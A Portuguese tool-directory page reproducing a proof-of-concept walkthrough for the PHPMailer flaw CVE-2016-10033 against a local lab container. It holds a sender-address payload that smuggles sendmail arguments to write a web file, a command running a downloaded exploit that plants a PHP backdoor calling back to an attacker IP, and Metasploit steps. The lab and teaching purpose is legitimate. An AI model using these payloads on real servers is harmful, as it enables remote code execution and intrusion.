Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
POC-CVE-2016-10033 — Prova de Conceito para o CVE-2016-10033 (PHPMailer) | Kitploit
Ferramentas/GitHubGitHub/astrowmist/poc-cve-2016-10033
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHubastrowmist/poc-cve-2016-10033

POC-CVE-2016-10033

Prova de Conceito para o CVE-2016-10033 (PHPMailer)

Ver Repositório
5há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

POC-CVE-2016-10033

Primeiro, vamos colocar a aplicação vulnerável em funcionamento

Passo 1: Execute o seguinte comando para obter a Imagem Docker vulnerável do repositório Docker.

Comando: docker pull vulnerables/cve-2016-10033

alt text

Passo 2: Executando a imagem Docker no Docker Desktop, expondo a porta 8080.

alt text

Agora você pode acessar o site vulnerável em localhost:8080 no navegador web.

alt text

Método 1: via Página Web

Passo 1: Preencha o formulário com as seguintes entradas:

Entrada de Nome: OSEC (pode ser qualquer string, isso não afeta o exploit)
Email do Remetente Forjado: "attacker\" -oQ/tmp/ -X/www/pwn.html some"@email.com

Como este email de remetente forjado funciona é explicado em profundidade na seção de descrição do vetor de ataque. Quanto aos parâmetros específicos, o segundo parâmetro -oQ/tmp especifica o diretório de fila e o terceiro parâmetro, -X/www/pwn.html, especifica a localização do arquivo de log a ser escrito. Se o diretório de fila não for especificado, o processo sendmail tentaria acessar o diretório de fila de correio padrão (/var/spool/mqueue-client/), que seria protegido para evitar acesso não autorizado e adulteração, uma medida de segurança comum. Para evitar esse problema de permissão, você deve especificar um diretório de fila onde o usuário que executa o script PHP tenha permissões de escrita. Comumente, um diretório como /tmp é usado, pois geralmente é gravável por todos os usuários. Se o corpo do email contém código PHP, e se o arquivo de log especificado for colocado em um diretório acessível pela web, o atacante pode executar o código PHP acessando o arquivo de log através de um navegador web, resultando em execução remota de código.

Entrada de Mensagem: Este é apenas um exemplo de arquivo html que um atacante poderia enviar. Claro, o atacante poderia enviar algo muito pior, como uma backdoor, que faremos no próximo método de exploração.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Hacked!</title>
    <style>
        body {
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            margin: 0;        
        }
        .container {
            text-align: center;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1 style="color: red;">Congratulations! You've been hacked!</h1>
        <div>
            
            <p><a href="https://giphy.com/gifs/fun-meme-hacker-B4dt6rXq6nABilHTYM"></a></p>
        </div>
    </div>
</body>
</html>

Passo 2: Após enviar o formulário, navegue até o arquivo html que acabamos de enviar em http://localhost:8080/pwn.html

alt text

Método 2: via Linha de Comando (Script de Exploit)

Requisitos: Este script é compatível apenas com Python 2 (não funciona com Python 3).

Passo 1: Baixe o script de exploit em https://legalhackers.com/exploits/CVE-2016-10033/10045/10034/10074/PwnScriptum_RCE_exploit.py

Passo 2: Em seguida, execute o script com os seguintes argumentos:

Comando: python2 /home/kali/PwnScriptum_RCE_exploit.py -url http://192.168.79.1:8080 -cf / -ip 192.168.79.149 --post-action submit --post-msg message -d /www

-url -> especifica a url alvo
-cf -> especifica a localização do formulário de contato dentro da url especificada em -url. (No nosso caso, é exatamente o mesmo que -url, então incluímos apenas uma barra)
-ip -> especifica o IP do atacante para a backdoor se conectar de volta
-d -> especifica o diretório relativo para enviar o arquivo php da backdoor
--post-action -> O atributo name do campo oculto
--post-msg -> O atributo name do campo de entrada de mensagem

alt text Nota: A razão pela qual temos que especificar --post-action como "submit" e --post-msg como "message" é que, na aplicação vulnerável que estamos usando, o atributo name é diferente dos valores padrão usados no script de exploit Python.

Os atributos name na aplicação vulnerável:

alt text

Os atributos name padrão especificados no script: alt text

Passo 3: Após executar o comando, no entanto, obtivemos um erro mostrado abaixo

alt text
Na imagem acima, você pode ver que o programa está tentando acessar http://127.0.0.1:8080//www/phpbackdoor9284.php, o que obviamente está incorreto por causa de //www. Isso não funcionará porque, neste site vulnerável, /www é a raiz do site, portanto, você não pode navegar para http://127.0.0.1:8080/www, já que http://127.0.0.1:8080 já está em /www.

Também na imagem abaixo, podemos ver que o exploit realmente funcionou porque o phpbackdoor9284.php foi criado com sucesso no diretório. Portanto, o único problema era como remover aquele //www da url.
alt text

Após uma inspeção mais aprofundada do script Python, conseguimos localizar a variável BACKDOOR_URL, que especifica a URL para o arquivo php da backdoor. Na variável, podemos ver que o diretório alvo que especificamos (args.TARGET_UP_DIR) está sendo concatenado junto com a variável BACKDOOR_FILE. Para resolver o problema, precisamos remover isso e a barra adicional.

Antes:
alt text

Depois:
alt text

**Observe que o script neste repositório já está modificado e pronto para uso

Passo 4: Agora execute o comando anterior novamente, e desta vez a backdoor deve ter sido enviada com sucesso para o diretório raiz da web e deve ter se conectado de volta ao meu Kali.

alt text

Método 3: Metasploit

Passo 1: Digite msfconsole no terminal do Kali para abrir o Metasploit. Em seguida, procure por módulos do Metasploit para CVE-2016-10033. Depois escolha o módulo selecionando o índice associado a ele. Na captura de tela abaixo, escolhemos 1, que visa PHPMailer < 5.2.18.

Comandos:
msfconsole
search CVE-2016-10033
use 1
alt text

Baixar ferramenta